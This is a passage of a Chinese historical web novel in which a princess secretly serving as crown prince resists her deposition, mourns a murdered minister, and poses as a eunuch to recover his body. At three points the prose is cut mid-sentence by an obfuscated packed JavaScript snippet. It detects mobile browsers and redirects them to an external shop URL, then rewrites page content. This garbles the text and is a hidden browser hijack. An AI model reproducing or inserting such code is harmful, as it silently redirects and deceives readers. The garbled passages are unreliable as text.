《难折鹤》 1. 废太子 暮云犹染血色，宝殿褪尽华光。 多扇绮纱围屏后，满堂暖烟香雾，蒸气萦回。 乔鹤练斜倚浴池，半浸于浮满花瓣的兰汤中，和几个裙衫轻薄的宫女戏水嬉闹。 耳边哗啦水声叠着笑语，几乎淹没了廊下宦官的通传：“太子殿下，万岁圣诏……” 她只当听不见，拖了半晌才慵懒应答：“本宫忙着呢，没空。” 薄唇微启，是清朗动听的少年嗓音。 外头道：“万岁有命，殿下若不立时听宣旨意，视同谋逆。” “毛病。”乔鹤练暗骂，从汤池中霍然起身。 她赤脚踏过玉阶，从衣桁上扯过素白绫袍并同色氅衣，俱披于汗衫之外，回手抻平绸缎般柔亮的湿发，淌着滴滴答答的水珠踱出屏风。 女君言行散漫，气质却矜贵拔俗。 笔挺修长的身段，掩于落拓衣衫之下，是风流俊俏的郎君模样。青丝如瀑流泻肩后，两片芍药残瓣沾于颈边，映衬那玉面檀口，月眉星眼。 素面朝天的奇丽容颜，不经粉饰，天然绝色，不见半分阴柔与妖冶。似那遗世独立的阆苑神君，又如曜煜倾城的和璧隋珠。 乔鹤练从容步出殿外，长身玉立，意兴索然而跪。 “念。”她不耐烦道。 “皇太子惑于声色，假重器以逞私欲，讳恶不悛，逆天理而败操行。今废黜太子，贬为庶人，即日流放琼州。” 宦官宣读完毕，见太子眸光幽暗，迟迟不叩拜谢恩，便小心对叠了卷轴，躬身递上：“千岁爷，这……废太子之事突然，琼州路远，不如早做安排……” 乔鹤练呵地冷笑，旁若无人地站起身，一把夺过卷轴。她抛下那宦官不理，转过头大步流星向偏殿跨去。 残阳隐逝，太虚浩瀚如海。 余光扫见廊下点灯侍女，她立刻笑凑上前，压低嗓音哄逗：“美人在此，我当我不在东宫，竟已到了瑶台。在下是否有幸，可以为仙娥掌灯？” 少年储君神采奕奕，双眸含情脉脉，仿佛秋水盈盈，侍女心跳怦怦，羞赧地垂头捧灯。 乔鹤练接过宫灯，从灯架里掏出蜡烛，眼都不眨地将手中卷轴引燃。 火光撕破了浓稠夜色，亦舞跃于乌漆如墨的眼眸中，她沉声喊道：“来人，速取衣冠，本宫要面圣。” * 乾清宫外，丹陛之下。 乔鹤练已束发穿戴整齐。她头戴乌纱折上巾，系玉带，蹬革靴，身着大红云纹缎圆领袍，袍上织金四团龙补张牙舞爪。 她气势汹汹快步在前，不顾后头太监的奔逐劝阻。 “万岁正和卢学士议事，千岁爷不能擅闯……” 乔鹤练充耳不闻，健步如飞上了台阶，稳足抬靴，哐当一脚踹开宫殿大门。 巨响吓得太监险些平地跌倒，扶着廊柱打抖：“千岁爷当真要造反哪？” 乔鹤练没有答他，独自迈入大殿。 御桌上账簿奏本堆得乱腾腾，侍奉在旁的青年学士卢允恭闻听动静，搁下文书静默拜揖。 今上抬眼瞧见太子，眉毛不禁抖了一抖。 乔鹤练已拾级而上，猛扑到案前拂袖一扫，将满桌案牍噼里啪啦挥落在地，才直起身冷冷瞪向当今圣上。 隔着被荡空的桌面，今上无声叹息，闭眼仰靠于椅背，揉了揉鼻梁：“我家祖宗好大火气。” 卢允恭只是微笑，拢袖颔首，俯身拾掇满地狼籍。 沉默半晌，今上好声好气地开口：“鹤儿，这是爹能为你安排的最好出路了。” 乔鹤练不为所动，目光更犀利逼人。 被女儿盯得打怵，今上咳嗽一声强作镇定：“尔烧毁诏书，又夜扰禁中。如此狂躁无状，朕还未问责于尔，尔反倒先发起火来？” “臣御前失仪，请父皇恕罪。” 乔鹤练敷衍答话，倒退几步跪在阶下，闷着头揣手不语。 连日以来，她爹每天都在她耳边念叨废太子之事，软磨硬泡劝她去琼州。刚才又虚张声势，弄来个什么劳什子“诏书”，连宝玺都没盖，等同废纸。 呵，就算盖了她也敢烧。 今上再叹：“爹知道这五年来，你女扮男装何其不易。终究你爹无用，处处仰人鼻息。临了了，把你这么个丫头丢在东宫，同那些虎豹豺狼撕咬，教我怎么安心？” 乔鹤练睫羽轻颤，并不吭声，只是默默将背挺得更直。 她当然知道父皇在说什么。 她那执掌兵权的伯父秦王本就权势煊赫，自先帝晏驾以来，愈发暴戾恣睢，在朝中一手遮天。 辽东大捷后，秦王班师回朝直指大位，强迫天子退居行宫，前往沙河“养病”。所幸太子朽木难雕，不必随行“侍疾”。 今上捂住额头，流露出真切痛苦：“你我斗不过秦王，事已至此，唯有认输。” 他怔怔地望着她，愁眉不展：“废了太子，你出宫，去天高地远的琼州。之后再称废太子病故，你换个宗室女身份，享县主食邑，仍可无忧无虑一生。” 乔鹤练听得微微敛眸，像是听进去了那般若有所思，掩藏去所有悲愤与叛逆。 “去琼州，然后呢？”她接过话茬，仿佛认真考量。 卢允恭恰将几摞奏疏分门排放整齐，依次搬回御案上。他头顶乌纱端正，蓝袍纤尘不染，人如胸前补子上的白鹇般干净闲雅。 “允恭纯善温良，待你一片真心。”今上道，“他甘愿放弃嫡长身份，放弃袭爵，放弃京中官职，陪你同去琼州，在那里完婚。” 越国公府嫡长子卢允恭，与她自幼便有婚约，二人的母亲是义结金兰的姐妹。 乔鹤练闭眼：“是爹爹让他甘愿的？” 不等今上回答，她青梅竹马的兄长已恳切道：“殿下明鉴，臣是自愿。放弃一切陪伴殿下，是臣发自肺腑之言。” 乔鹤练便抬起头，仰视着这青年学士清湛真挚的眉眼。 这位她年幼的玩伴，她年少的伴读，她如今的讲读官，她的左膀右臂东宫辅佐。光风霁月的高门公子，白水鉴心，绝非巧言令色之徒。 他的钟情，鲜明如朝阳，纯粹如初雪，她当然深信不疑。 倘若当年不曾发生那场变故，她无需李代桃僵做这个荒唐太子，他大概早就是她的驸马了。 她身为女儿家，没有争权夺位之心，秦王再残暴无情，也会保全乖顺侄女下半生衣食无忧。 可人这一生，哪有倘若。她的鲜血里也流淌着乔氏的野心和权欲，一旦坐上过东宫宝座，怎可能无所图谋，无所觊觎。 两年皇太孙，三年皇太子，她夙兴夜寐，已苦苦经营了整整五年，要她在这个时候半途而废，与江山权柄和奉天殿上的至尊之位失之交臂，她怎可能甘心！ 她扬起下巴，眶中晶莹涌现，是无比失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530967|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望模样：“卢哥哥也想劝我去琼州？” “殿下，不是的。”卢允恭摇了摇头，郑重地跪在她对面，与她坦诚相望。 “臣的确渴望与殿下完婚，但臣的夙愿，从始至终都是陪伴殿下。若殿下愿离朝堂，臣就与殿下去琼州，山长水阔，心乡往之；若殿下坚守东宫，臣仍为东宫臣属，肝脑涂地，万死不辞。” 他身量高她一些，相对而跪时，依然要垂头看她。 “殿下的去处，就是臣的归处。” 座下灯火阑珊，与他眸中光泽交织，两相晖映，如星汉灿烂，历亘古而恒明。 此情此景，令人如何不动容。 乔鹤练鼻子泛酸：“卢哥哥于我，亦兄亦辅，亦师亦友。这份恩情山高海深，鹤儿没齿难忘。” 卢允恭是最懂她的，早就清楚她的抉择。可他还是借此机会，向爹爹陈情，向她陈情，足见他对她的倾慕与爱重。 但这世间并非只有夫妻情深。 唯独这一样，她不能答允他。 “都起来吧。”良久无言的今上终于吭声，起身步向二人。 乔鹤练支起右腿，两手按上右膝时，才觉脚麻如针刺，身子不受控地一歪。 好在双肘立刻被卢允恭托稳，她顺势按着他的肩，咬牙站起身，让反应慢半拍的今上扶了个空。 今上局促地拂袖，背过身去：“鹤儿，不要任性，今夜就走。大黎国祚，不是你一个丫头能守住的。” 乔鹤练扶起卢允恭，坦言顶撞：“若我偏要守呢？” 今上唉声道：“你以为秦王会像你爹一样捧着你、纵着你？待我一离宫，他便以监国亲王之名钳制住你，他的爪牙们能将你撕成碎片！” “尤其是那个苏觐，年轻轻的，你别看他相貌斯文，那可是在大炮乱矢里杀红了眼的疯子。休说是你，就连你爹我做太子时，见了他都要绕道走！” “你须滴水不漏，才能维持笼中鸟的体面，一旦行差踏错，被他们察觉你以女儿身假扮太子，便是身败名裂，万劫不复……” 他瞬时住口，似恐一语成谶。 乔鹤练笑了。 她反问：“爹以为我到了琼州，便能逍遥快活，和夫婿闲云野鹤，厮守白头？” 今上忽然回身，两手握住她肩膀苦苦哀求：“至少你能性命无虞！你是我世上唯一的骨血了，你若孤身涉险，于我而言是摧心剖肝之痛！求你就当是为了爹，好好活着吧！” 可女儿油盐不进，漠然似毫无生机的草人，戳于田间，任凭摇晃摆弄。来来回回，答话只有一句：“我绝不走。” 好说歹说半天，皆白费口舌，今上一时黔驴技穷，惟有佯作大怒厉声斥责： “朕还未退位，废太子之事，是圣诏，是钦命！你这般态度岂止不孝，更是忤旨，是谋逆！” 话音刚落，他的右腕便被女儿托过，用两手捧住。 “君父之命，忠臣孝子自然会遵奉到底。”语调恭顺，虔诚。 可今上分明看见，女儿在怏怏而笑，清秀面庞上有种病态的诡丽：“可我无法无天，生来是乱臣贼子。父皇与其幻想我领旨谢恩，倒不如亲手治了我犯上作乱的死罪。” 乔鹤练说完，竟从袖中掏出一把寒光刺目的匕首，将刀柄强行塞至今上手中。 她攥紧父亲哆嗦的指尖，将刀刃缓缓对准自己左胸，随即毫不犹疑地捅刺下去。 2. 践诺 今上何曾见过这副阵仗，顿时骇得面如土色，一边拼命拽回胳膊，一边绝望呼救：“允恭，快，快拦住她！” 卢允恭早知那匕首并未开刃，钝得连果皮都切不动。太子骄纵顽劣，磋磨父皇的花样层出不穷。 他闻听圣命，苦笑一声，上前捉住女君控刀的手腕，将她用力圈在怀里，今上借势挣脱了手，匕首也当啷一声砸落在地。 “疯子，孽障啊！”今上惊魂未定地将匕首一脚踢出老远，又怒又慌地扬手向女儿脸上甩去。 卢允恭看出这一巴掌的疲弱无力，但他已下意识按过女君的后脑，将她正脸完全掩入自己衣襟之间。 今上的袖口擦着他肩侧划过，只拂起些许微风。 女君面无表情地昂头，轻轻推开他，朝今上迈了两步，忽然扬手，向自己颊上抽下一耳光。 “殿下！”望着烙在雪肤上的指印，卢允恭的心也揪紧作疼。 “君父问责，臣不敢避。”在二人震异心痛的目光中，乔鹤练缓缓道，“但忤逆之言，却不得不说。” 她口吻庄严，如若祷告。 “贞定一朝，先帝竭举国之力东征北伐，数度兴兵大动干戈，掏空了国库，压垮了生民。大黎霸业，今成强弩之末，国朝当行之策，惟有停止征伐，与民休养生息。 “秦王嗜血成性，一生好勇斗狠。他四处掳民充军、严刑催税，穷兵黩武近乎烧杀抢掠。父皇若废储禅位，将神器拱手相让，是要眼睁睁看着王业中道崩殂，朝廷横征暴敛，九州民不堪命，边关生灵涂炭？ “天潢贵胄，本就受万民供养。百姓若置身于家破人亡的人间炼狱，我何来颜面躲在南海一隅苟且偷生？更不用提什么县主的食邑岁禄，那是榨干万民膏脂后，又将他们敲骨吸髓的血肉膏粱！ “若我去了琼州，也不会性命无虞的。当劳苦百姓因秦王暴政而罹难之日，我会立刻自裁，为他们殉葬的。” 乔鹤练说到最后，语调归于平静，唇角甚至挽着微微笑意。 可她神情硬如冷铁，寒似坚冰，分明决绝又无情。 惟有黎民，可得她无限深情。 他们是承载宗庙社稷的龙脉，是世间最温柔壮阔的长河，生生不息地哺育了万代江山。 苛税和战事却毁掉无数黎民的生活，他们被迫失去田宅、家业，乃至生计、亲人，在苦役和赤贫中挣扎哀嚎。若世道继续衰败，他们会沦为衣不蔽体的流民，冻毙荒野的饿殍。 若不能救万千无辜于水火，她也绝不苟活。 今上颤着干涸的唇，半天没吐一个字。唯余两行苦泪，在枯瘦的脸上静静流淌。 他唯恐爱女自戕，更惧怕她此刻视死如归的气势。赫斯之威，巍峨如泰山压顶，竟有三分肖似他雷霆万钧的父兄。 可这气势并非刀枪不入，更不能免死！人是肉体凡胎，在霸权的摧残和酷刑的辗轧下，再铮铮的铁骨，也只会化为一滩腥臭的血泥！ 朝野被秦王党羽侵蚀已久，早就积重难返。所谓与民休息，所谓宽赋止戈，只是失权天子和文官儒士们的黄粱一梦。 今上想，他再无他法，惟有寅时出宫途径太庙时，求一求仁孝康皇后的牌位，让她保佑他们唯一的女儿逢凶化吉，邪祟不侵。 至于那些忠心耿耿的旧臣们，他亦苦口婆心地挨个劝过他们请辞、致仕，但又有几个人听得进去？ 但愿他们也能得祖宗庇佑吧。 * 翌日卯时。 昔日的内阁首辅原泰已于奉天门外静候多时。年过知命的他身子骨硬朗，一袭单薄官服，在寒风侵肌的宫墙下屹立如松。 他身后站了一排年轻些的门生，官袍或蓝或绿，衬他一人绯衣如火。 一个穿云雁补红袍的青年官员自远处悠然趋步，拿腔作势地作揖：“秦王有令，今日罢朝，诸位大人请回吧。” 是都察院的四品御史岑典。 原泰冷冷道：“看来窃国奸佞，也知做贼心虚，无颜以对奉天门外百官群臣！” “原少师被风吹糊涂了？” 良言难劝要死的鬼①，岑典听得想笑。 “秦王殿下横扫辽东，立下不世之功。如今奉诏监国，更是夙夜不懈，为国鞠躬尽瘁，不知原大人口中奸佞是谁？” “秦贼拥兵自固，胁迫圣躬，矫诏篡权，荼毒黎民，臣今在此向先帝死谏，求高宗皇帝显灵，令乱臣贼子天诛地灭！” 原泰嘶哑的呐喊仿佛直冲霄汉。 “老匹夫！你若心神有疾，立时去太医院问诊，休在这里如狂犬乱吠！” 论骂仗，他岑典何曾落过下风，自是抬高嗓门反击。 不料几个门生闻声暴怒，一拥而上，将他堵了个水泄不通。“岑伯度，嘴巴放干净点，你在对谁说话？” 不知是谁带头撸起袖子，径直挥拳向他脸上招呼，说话间，数人十几记拳脚如暴雨般砸下，痛得岑典吱哇乱叫：“不儿，轻点，啊，寻戈兄，救命啊！” 并无人应答，他被打得晕头转向，耳边尽是破口大骂声：“你岑典连狗都不如！秦贼养了苏觐这条丧家的恶犬，便招来你这般低贱的臭虫！” 不远处，一个颈系素巾，身着棉布戎装的年轻刀客听闻此话，不再袖手旁观，瞬间从人堆外突进围障。 只见他头戴箬笠，肩负长刀，抬脚便向那名辱骂苏觐的官员嘴上劈去，直踹得其口鼻涌血，仰面栽倒。 刀客脸色阴沉，咬唇不语，揪着那官员后脖领就往人群外拖。 “你收着点，别打死他……不对，我要被这班蠢货打死了！寻戈！”岑典蹲在地上抱头惨叫，乌纱也滚落于地，很快被踏扁，“你先救我！苏大人说过你要护我周全！” 刀客这才扔下那人，纵身跃向被围殴的岑典。 可还不等他施展，众人的哄闹就被不远处一阵急促的马踏兵戈声打断了。 来人是两队戎装整肃的锦衣军士，皆戴红盔，披银甲，挂雁翎刀。 一身着妆花缎蟒袍的中年男子自军士身后勒马而出。他稳踩马镫的羊皮战靴纤尘不染，头顶的皂罗翼善冠工艺极精，右耳垂挂的赤金单坠光彩熠熠。 男人身材健硕，高大魁梧，气质猛厉威肃。久经沙场之人，通身蟒玉锦绣的珠光宝气，难掩鏖战于炮火硝烟间的屠戮杀气。 “原大人，久等了。”秦王端坐于花骢银鞍之上，皮笑肉不笑地开口。 * 乔鹤练因梦中坠崖而惊醒。她昏昏沉沉地掀被坐起，寝衣被淋漓的冷汗浸透。 怔忪之间，她的随侍内臣行简已撞开大门闯进寝殿，伏在她榻边抽泣：“千岁，出大事了！原少师和万岁旧臣们聚于奉天门外，当面怒斥秦王矫诏篡逆……” 仿佛重锤将长钉敲入颅骨，捅穿脑髓。乔鹤练头痛欲裂，双手亦麻木，只是徒劳抓起衣衫，往身上胡乱套去。 “他们说，万岁春秋鼎盛，皆因秦王谋害而抱病，秦王是借监国之名，行篡国之实，”行简涕泪交加，“话音没落，便被秦王那些锦衣卫拔刀砍翻……” 乔鹤练没有找到靴袜，她披发跣足，神色凄怆，衬衣的衣带只系了一道，便趔趄着奔向廊下惨黯萧索的晨光。 她头重脚轻，耳中嗡鸣尖锐，连抬脚跨门槛的力气都使不出，于是被狠狠绊倒，懵然摔入一个温暖踏实的怀抱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530968|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来人衣袍熏过沉水香，夹杂着书卷间积年濡染的纸墨香，有镇定安神之效。 她稍稍平复，便听见卢允恭温润的嗓音在她耳边悲切低喃：“鹤儿，已经迟了……” 恍惚间，乔鹤练以为自己并没有醒，只是被新的噩梦缠身。 文官们手无寸铁，如浪潮般涌向森列如林的刀枪，最终被血海汪洋吞没。他们断头流血，却寸步不让，只为誓死效忠今上，效忠休战国策。 证道之路，常以碧血洗就。牺牲，是殉道者的大道。 她的愁颜打湿了年轻翰林的内外衣领。那些人都是赤胆忠心的臣子！如今却因忠贞而拒诏，因耿正而赴死，她心如刀绞。 乔鹤练犹记十年前，自己刚满八岁，尚是个天真任性的小郡主。因艳羡叔伯兄弟们在大本堂念书，她闹到文华殿找父亲，却不慎踩空殿前台阶，当墀跌落，幸被时任太子詹事的原泰稳稳接住。 原泰为人儒雅慈爱，从未轻视嘲笑她这个小丫头，还经常从繁忙庶务中拨冗教她生字文章，耐心解答她何为君子之道。 后来变故横生，乔鹤练不得不女扮男装顶替东宫，因故作荒唐而声名狼藉，原泰却似乎清楚她所有苦衷，对储君谆谆教诲，从无半句指摘。他投向她的目光，一如当年那般亲切蔼然。 “原先生答应过我，等他致仕，我亲驱长车，送他归乡。”她红着眼眶仰头，眸中泪光灼灼，“卢哥哥，先生从无虚言，他一定没事的……” “殿下，锦衣卫已将忤旨者投入诏狱，反抗者就地斩杀。原少师，亦已遭戕害……” 不似平日柔声宽慰，兄长用哭腔碾碎了她脆弱的幻想，亦在北风肃杀中，将她发抖的身躯搂得异常的紧。 秦王宣诏，少师原泰乃奉天门哗变首恶，谋逆之罪，理当处死，念其年事已高，只处廷杖八十，即刻决打。 廷杖。 这道视律法三司如无物的天家私刑，在锦衣力士熟稔凶残的杖法之下，几杖便可使受者肌肤绽裂，血肉横飞。三十杖能削得髋髀皮肉大块脱落于地，五十杖可将肢体捣成难以分辨的烂泥，八十杖，对于两鬓斑白的文臣而言，是惨无人道的虐杀。 秦王将一朝首辅酷虐致死，仍不能泄愤，他还命刑官将原泰尸首曝晒于午门之外，不许入殓。又从锦衣卫调派高手持械把守，凡擅动者，格杀勿论。 喉间翻涌的腥甜令乔鹤练剧烈咳嗽不止，卢允恭慌忙松手，她倒退数步，掩面瘫坐在地，掀起漫天浩荡尘土。 闻此噩耗，她亦如身遭磔裂之痛，五脏六腑，无一不似烈火焚烧。 她谢绝任何搀扶，直到从颓丧中清醒过来，才独自支起身子，一手握簪，一手捋发，将青丝整齐束起，眸光变得森沉如晦。 当务之急，非愤非悲，而是让恩师入土为安。 为国披肝沥胆一生的栋梁，灵魂必然已经涅槃，而肉身亦不该在人间枉受这种卑鄙的折辱。 她绝不允许恩师孤自一人，血肉模糊地躺在午门外。无论如何，她必要践诺，送他回家。 乔鹤练吩咐仍垂首啜泣的内臣：“行简，给我拿一身你的衣服，再去典服局取一匹素绸。” 依次穿戴了深青色贴里、布靴和内臣冠，她在行简的服侍下迅速乔装完毕。 卢允恭猜中她想法，忧心忡忡道：“臣与殿下同去。” 乔鹤练却摇头，称另有要事拜托。 卢允恭本坚决要陪同，奈何百般拗她不过，只得勉强答允：“此去凶险，殿下多加小心。” 女君语气淡薄：“本宫平生所行，俱是凶险之事。” 她旋即转身，向文华门外疾行而去。 3. 小内臣 乔鹤练脚步极快，行简自诩在内臣中算身手矫健的，却常常难以紧跟她的步伐。 出了东华门，沿着官道继续东行，不远处便是光禄寺和尚膳监。乔鹤练回头，让行简去光禄寺借一架推车，在东华门外等候。 行简答应了，放心不下地问：“千岁要独自去哪？” 可话音未落，女君已飞奔远去，只剩下一个遥遥背影，轻捷若矫翼之鹤，翩然如林下之风。 离东宫最近的档案馆，本是毗邻文华殿的内阁大库。然天子失势，大权旁落已久，如今阁臣尽是秦王亲信，把守极为严苛。乔鹤练连内阁大堂都进不去，也绝无可能越过守吏取得大库钥匙。 故而她只能绕道去更远的表章库，那里的管库官员曾为天子旧侍，是她可以信赖之人。 此时东方既白，天光初照，将丹楹刻桷的皇城镀上绚丽金辉。 到了表章库，乔鹤练直言要调阅贞定三十二年科的殿试答卷，还需一副纸笔。 随管库来到配殿的一架金匮前，取下当年一甲三份答卷，她翻完不禁奇怪：“怎会没有？” 恰好，管库在身后问她在找哪位大人的策论。 “兵部尚书，苏觐。”乔鹤练向来临危不惧，可念出此名时，嗓音却在微微颤抖。 登科录翻页声不绝，很快，一份位于当科二甲靠后位置的答卷被找出，呈递至她面前。 乔鹤练大惑不解，然而展卷一观，立刻明白了原因。 这份答卷虽颜筋柳骨，笔画端严，藏恢宏之势于雅正之形，却留有大片空白，统共不过一千余字。国朝殿试策论无不在两千字以上，一甲答卷有时甚至接近三千字。 太荒谬了。究竟骄狂到何种地步之人，才会藐视殿试如此，连卷纸都不屑于填满。 乔鹤练清楚他的能耐，殿试由朝至暮，大约够他写五篇三千字的策论。 但凡做过此人同僚的官员，皆惊叹过其读写神速。传他于案牍之间，一人能当三人的差，翰墨钱谷之事一应手到擒来，且百举百全，从无纰漏。他入内阁不到一年，连与他政见相悖的原少师都感慨其才干卓绝。 更可怕的是，苏觐自幼随军征伐，嗜血冷酷，他之专攻所擅，并非文治内政，而是兵戎战事。 他是秦王视如己出的心腹，自然与之一脉相承，崇武好战。他们对北伐有着近乎癫狂的热忱，对喀兀人满怀切齿入骨之痛恨。于他们而言，国计民生，百姓疾苦，皆要为漠北之征开路。 十七岁凭半页策论高中进士的少年军师，从翰林院纵马而出，铁蹄踏平关外边镇。举目肝髓流野，入梦鬼哭神嚎，铸就无比残忍的铁石心肠，成了她如今最忌惮耸惧的死敌。 再细看眼前文章，虽篇幅精悍，却旁征博引，摛翰振藻。除却文辞灿烂，其论述之鞭辟入里，亦远在当科状元之上。可惜字数实在不足，这才沦落到二甲末列。 将卷纸平铺在案，仔细端详着这卷十年前的台阁体，乔鹤练小心落笔，努力勾勒其作日常行书的笔迹。 若非无法进入内阁大库以奏本作参照，她也不必绕一大圈费此周章。她知此招凶多吉少，可眼下箭在弦上，惟有放手一搏。 与行简在东华门汇合后，二人沿着宫墙直奔午门。 行简推了架吱嘎作响的独轮老车，正忿忿抱怨。 “光禄寺四署官员好会当差，什么时辰了，连衙门都没开，半个人影找不见，害得奴婢只能从尚膳监的柴房里掏出这么个破玩意。” 乔鹤练此刻已无暇纠结这些。 出了西华门便可乘马车，她已嘱托卢允恭出宫遣车候在下马碑附近，这架推车虽破旧，一小段路也勉强可用，只道罢了。 寂寥空旷的午门外，一班威风凛凛的锦衣甲士佩刀肃立。 他们身后不远处的青砖上，静卧着一具咽气多时的躯壳。其衣衫破损，体无完肤，四下血迹蜿蜒干涸，呈可怖黑红之色。 见状瞬间，乔鹤练只觉咽喉痉挛、目眦尽裂，几乎寸步难行。 行简让她暂且驻足，自己先行上前试探虚实。 甫一靠近，锦衣卫们便齐刷刷拔刀出鞘，赫然盯向他，并不发一言。惟有利刃十余柄，在红日照耀下映出刺目寒光。 作为东宫六局内臣之首，向来见惯排场的行简此时也吓软了腿，哆嗦着倒行几步，拜了一揖。 “奴婢是尚膳监监工，请问各位钦差，是否需用午膳？” “……”沉默。唯余风声呼啸。 锦衣卫们岿然不动，只是昂首峙立，持刀藐视，将他的讨好置若罔闻。 要了命了。 硬着头皮退回至原地，行简太阳穴仍突突直跳。 肩膀忽被人用力一拍，他惊悸稍缓，偏过头，竟见女君已在缄默中独自撑起木车，缓缓推向那班锦衣卫。 这队校尉皆拔擢自秦王统率的五军营，个个武艺超群、机警敏锐，为秦王素日差遣，所幸，与东宫并无照面。 在他们面前站定后，乔鹤练搁下车把，低眉敛目，亦作揖道：“奴婢是御马监派驻神机营的内臣，奉兵部尚书武英殿大学士苏觐大人之命，将原泰尸首移送至乱葬岗。” 她余光越过衣袖，但见为首的锦衣武官眸光如箭，似要将她穿颅射透。 “姓名。” “奴婢御马监奉御庄进全，给锦衣卫上官请安。” 乔鹤练熟稔地“自报家门”，又刻意添些谄媚，向那首领单独一拜。 “苏尚书特意嘱咐奴婢，说上官们值守辛苦，务必让尚膳监送些热汤犒劳。” 校尉们讥诮的笑声如飞雹砸落：“神机营日日打铳放炮，怎么炸出这么一个细皮嫩肉的宦官？” 乔鹤练不动声色，只抿唇不语。 锦衣首领审视着面前的清俊宦官。此人自称领兵书之命，闻听挖苦不卑不亢，秀丽眉眼之间，神态恭顺依旧。 他目光掠过这宦官腰侧的绦绳，扎定在末端空空如也的红穗，亦冷笑道：“符牌都没有，你唬弄鬼呢？” 然而宦官在衣领内摸索半天，竟掏出了一枚牙牌，小心翼翼地递过来。 “奴婢唯恐干活时遗落，故而没有悬挂，贴身存放着。”那奴才老老实实道。 乔鹤练在掌管符牌的尚宝司中也有内应，要得一块内臣牙牌并不算难事。 她的牙牌被锦衣首领掂在手里翻来覆去三遍，反复检查字样规制，实在没显现任何异样，对方只好皱着眉头抛还予她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530969|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “苏尚书远在京郊神机营视察军务，你口口声声传他命令，却没有信物佐证？” 锦衣首领的盘诘愈发凶狠，似因未揪出破绽而不耐烦。 乔鹤练从袖中拈出一页信纸，诚惶诚恐两手捧上：“奴婢真是被审糊涂了！苏尚书亲笔手书为信，请上官过目。” 首领瞥她一眼，接过纸页，审慎逐字琢磨起来。 指尖不自觉紧捻衣袖，乔鹤练感到额头汗珠在一点点渗入网巾。 那武官察看半晌，又招呼两个校尉近前阅览，二人探头研究起来。 “笔迹确实是苏尚书。” “口吻也像……” 良久，锦衣首领终于将信纸叠好塞入甲胄，对着乔鹤练上下打量：“你一个人，搬得走么？” “上官见笑，奴婢若连具尸首都抬不动，又怎在神机营当差，早被打发去冷宫刷马桶了。”乔鹤练自嘲道。 众锦衣卫报以一阵轻蔑哄笑，倒也无人提出异议。 乔鹤练只当他们默许，强忍心中肝肠寸断之痛，竭力作云淡风轻状迈向地上伏卧的残躯。 可她只跨出两步，便被一声断喝叫停：“慢着！回来。” 此语如晴天霹雳，吼得她一个趔趄，心惊肉跳地转过身。 锦衣首领目光如炬，仿佛洞察所有。 那页信纸不知何时又到了他手里，被其用两指夹着，啪嗒一声，狠狠摔回了她的脸上。 乔鹤练垂首闭目，茫然握住纸页，脖上霎时袭来诡异冰凉。 她睁眼，但见一柄长刀赫然架在自己颈侧，寒刃锋芒毕露，仿佛削铁如泥，已无声碰断她耳边一绺碎发。 “你在神机营当差，竟不知苏尚书每封手书必有私印落款？” 出刀的锦衣首领疾言厉色，步步紧逼。 “说，你受何人指使，胆敢伪造苏尚书手书，妄图骗取罪逆尸首？若肯坦白，赐尔全尸！” “不可！”行简狂奔过来扑倒在地，连滚带爬地抱住那武官的靴子，“上官有话好说，万不可对这位动刀……” 眼看即将事败，乔鹤练也万念俱灰。但她并不愿就此服输自认东宫身份。示弱服软不起作用，她索性迎刃逼视那武官杀气腾腾的目光。 负刃在肩，她挺立如劲竹，强硬反驳道：“苏尚书亲笔，何来他人指使？即使兵部堂官，都不清楚苏尚书哪封手书盖没盖私印！上官欲加之罪，究竟是蓄意刁难办差的奴婢，还是想对苏尚书叫板挑衅？” 锦衣首领竟被这内臣突如其来的气势震得有些畏怯。锦衣卫再权倾朝野，可若真得罪了苏觐，十条命也不够死，谁人不害怕。 他心虚地挪动刀柄，正欲分辩，刀刃忽被一柄马鞭套牢拧住，猛地向外扯开。 紧绷的颈边乍空，松快不少，乔鹤练长舒一口气。长刀被拖拽远离时，其势风驰电掣，稳健沉着，并未伤及她半寸发肤。 她尚未察明状况，便被人揽肩一推，捉着手肘护在了身后。 来人收了马鞭，攥着锦衣首领腕间束甲，将其刀铿然送入鞘中，才垂下衣袖，敷衍一句：“李佥事，得罪了。” 一排锦衣官兵看得目瞪口呆，片刻后纷纷收刀，抱拳行礼：“苏尚书。” 4. 良心未泯 怎会是他！ 乔鹤练震惊不已，眉头不自觉拧紧。 他理应在京郊神机营巡察，为何出现在这里？是来拆穿她，还是，来阻挠她？ 而那人只是背对着她，对官兵们颔首一嗯：“兵科值房已备下点心热茶，诸位此刻去了，用完便散衙吧。” 锦衣首领亦难以置信：“苏尚书，下官等奉命在此守卫，须得寸步不离。这个内臣假传书信，满口胡言，不该捉拿到刑部细细拷问吗？” 